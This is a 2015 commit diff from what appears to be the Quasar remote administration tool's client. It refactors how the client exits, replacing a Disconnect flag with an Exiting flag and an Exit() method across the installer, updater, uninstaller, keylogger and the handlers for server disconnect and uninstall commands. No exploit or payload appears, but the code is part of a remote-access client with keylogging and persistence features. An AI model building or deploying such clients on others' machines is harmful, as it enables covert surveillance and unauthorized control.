Improved Client exit

MYCLRY · Sep 10, 2015 · 48d950f · 48d950f
1 parent bda1c5e
commit 48d950f
Show file tree

Hide file tree

Showing 9 changed files with 32 additions and 28 deletions.
diff --git a/Client/Core/Data/ClientData.cs b/Client/Core/Data/ClientData.cs
@@ -4,7 +4,6 @@ namespace xClient.Core.Data
 {
     public static class ClientData
     {
-        public static bool Disconnect { get; set; } // when Disconnect is true, stop all running threads
         public static string CurrentPath { get; set; }
         public static string InstallPath { get; set; }
         public static bool AddToStartupFailed { get; set; }

diff --git a/Client/Core/Helper/WindowsAccountHelper.cs b/Client/Core/Helper/WindowsAccountHelper.cs
@@ -2,7 +2,7 @@
 using System.Diagnostics;
 using System.Security.Principal;
 using System.Threading;
-using xClient.Core.Data;
+using xClient.Core.Networking;
 using xClient.Enums;
 
 namespace xClient.Core.Helper
@@ -43,7 +43,7 @@ public static void StartUserIdleCheckThread()
 
         static void UserIdleThread()
         {
-            while (!ClientData.Disconnect)
+            while (!QuasarClient.Exiting)
             {
                 Thread.Sleep(5000);
                 if (IsUserIdle())

diff --git a/Client/Core/Installation/ClientInstaller.cs b/Client/Core/Installation/ClientInstaller.cs
@@ -24,7 +24,6 @@ public static void Install(Client client)
                 }
                 catch (Exception)
                 {
-                    ClientData.Disconnect = true;
                     return;
                 }
             }
@@ -63,7 +62,6 @@ public static void Install(Client client)
             }
             catch (Exception)
             {
-                ClientData.Disconnect = true;
                 return;
             }
 
@@ -101,7 +99,6 @@ public static void Install(Client client)
             catch (Exception)
             {
             }
-            ClientData.Disconnect = true;
         }
     }
 }
diff --git a/Client/Core/Installation/ClientUninstaller.cs b/Client/Core/Installation/ClientUninstaller.cs
@@ -35,8 +35,8 @@ public static void Uninstall(Client client)
                     FileName = batchFile
                 };
                 Process.Start(startInfo);
-                ClientData.Disconnect = true;
-                client.Disconnect();
+
+                Program.ConnectClient.Exit();
             }
             catch (Exception ex)
             {

diff --git a/Client/Core/Installation/ClientUpdater.cs b/Client/Core/Installation/ClientUpdater.cs
@@ -2,7 +2,6 @@
 using System.Diagnostics;
 using System.IO;
 using xClient.Config;
-using xClient.Core.Data;
 using xClient.Core.Helper;
 using xClient.Core.Networking;
 using xClient.Core.Utilities;
@@ -34,10 +33,10 @@ public static void Update(Client client, string newFilePath)
                 };
                 Process.Start(startInfo);
 
-                ClientData.Disconnect = true;
                 if (Settings.STARTUP)
                     Startup.RemoveFromStartup();
-                client.Disconnect();
+
+                Program.ConnectClient.Exit();
             }
             catch (Exception ex)
             {

diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs
@@ -13,6 +13,10 @@ namespace xClient.Core.Networking
 {
     public class QuasarClient : Client
     {
+        /// <summary>
+        /// When Exiting is true, stop all running threads and exit.
+        /// </summary>
+        public static bool Exiting { get; private set; }
         public bool Authenticated { get; private set; }
         private readonly HostsManager _hosts;
 
@@ -81,7 +85,7 @@ public QuasarClient(HostsManager hostsManager) : base()
 
         public void Connect()
         {
-            while (!ClientData.Disconnect) // Main Connect Loop
+            while (!Exiting) // Main Connect Loop
             {
                 if (!Connected)
                 {
@@ -102,7 +106,7 @@ public void Connect()
                     Thread.Sleep(2500);
                 }
 
-                if (ClientData.Disconnect)
+                if (Exiting)
                 {
                     Disconnect();
                     return;
@@ -142,13 +146,19 @@ private void OnClientState(Client client, bool connected)
         {
             Authenticated = false; // always reset authentication
 
-            if (!connected && !ClientData.Disconnect)
+            if (!connected && !Exiting)
                 LostConnection();
         }
 
         private void LostConnection()
         {
             CommandHandler.CloseShell();
         }
+
+        public void Exit()
+        {
+            Exiting = true;
+            Disconnect();
+        }
     }
 }
diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs
@@ -1,5 +1,4 @@
 using xClient.Core.Commands;
-using xClient.Core.Data;
 using xClient.Core.Networking;
 using xClient.Core.ReverseProxy;
 
@@ -22,12 +21,11 @@ public static void HandlePacket(Client client, IPacket packet)
             }
             else if (type == typeof(ServerPackets.DoClientDisconnect))
             {
-                ClientData.Disconnect = true;
-                client.Disconnect();
+                Program.ConnectClient.Exit();
             }
             else if (type == typeof(ServerPackets.DoClientReconnect))
             {
-                client.Disconnect();
+                Program.ConnectClient.Disconnect();
             }
             else if (type == typeof(ServerPackets.DoClientUninstall))
             {

diff --git a/Client/Core/Utilities/Keylogger.cs b/Client/Core/Utilities/Keylogger.cs
@@ -4,9 +4,9 @@
 using System.IO;
 using System.Text;
 using System.Windows.Forms;
-using xClient.Core.Data;
 using xClient.Core.Helper;
 using xClient.Core.MouseKeyHook;
+using xClient.Core.Networking;
 using Timer = System.Timers.Timer;
 
 namespace xClient.Core.Utilities
@@ -236,7 +236,7 @@ private string HighlightSpecialKeys(Keys[] keys)
 
         private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
         {
-            if (_logFileBuffer.Length > 0 && !ClientData.Disconnect)
+            if (_logFileBuffer.Length > 0 && !QuasarClient.Exiting)
                 WriteFile();
         }
 

diff --git a/Client/Program.cs b/Client/Program.cs
@@ -28,9 +28,11 @@ private static void Main(string[] args)
 
             if (Settings.Initialize())
             {
-                Initialize();
-                if (!ClientData.Disconnect)
-                    ConnectClient.Connect();
+                if (Initialize())
+                {
+                    if (!QuasarClient.Exiting)
+                        ConnectClient.Connect();
+                }
             }
 
             Cleanup();
@@ -80,16 +82,13 @@ private static void Cleanup()
             MutexHelper.CloseMutex();
         }
 
-        private static void Initialize()
+        private static bool Initialize()
         {
             var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
 
             // process with same mutex is already running
             if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
-            {
-                ClientData.Disconnect = true;
-                return;
-            }
+                return false;
 
             AES.PreHashKey(Settings.PASSWORD);
             ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
@@ -129,11 +128,13 @@ private static void Initialize()
                 }
 
                 ConnectClient = new QuasarClient(hosts);
+                return true;
             }
             else
             {
                 MutexHelper.CloseMutex();
                 ClientInstaller.Install(ConnectClient);
+                return false;
             }
         }
     }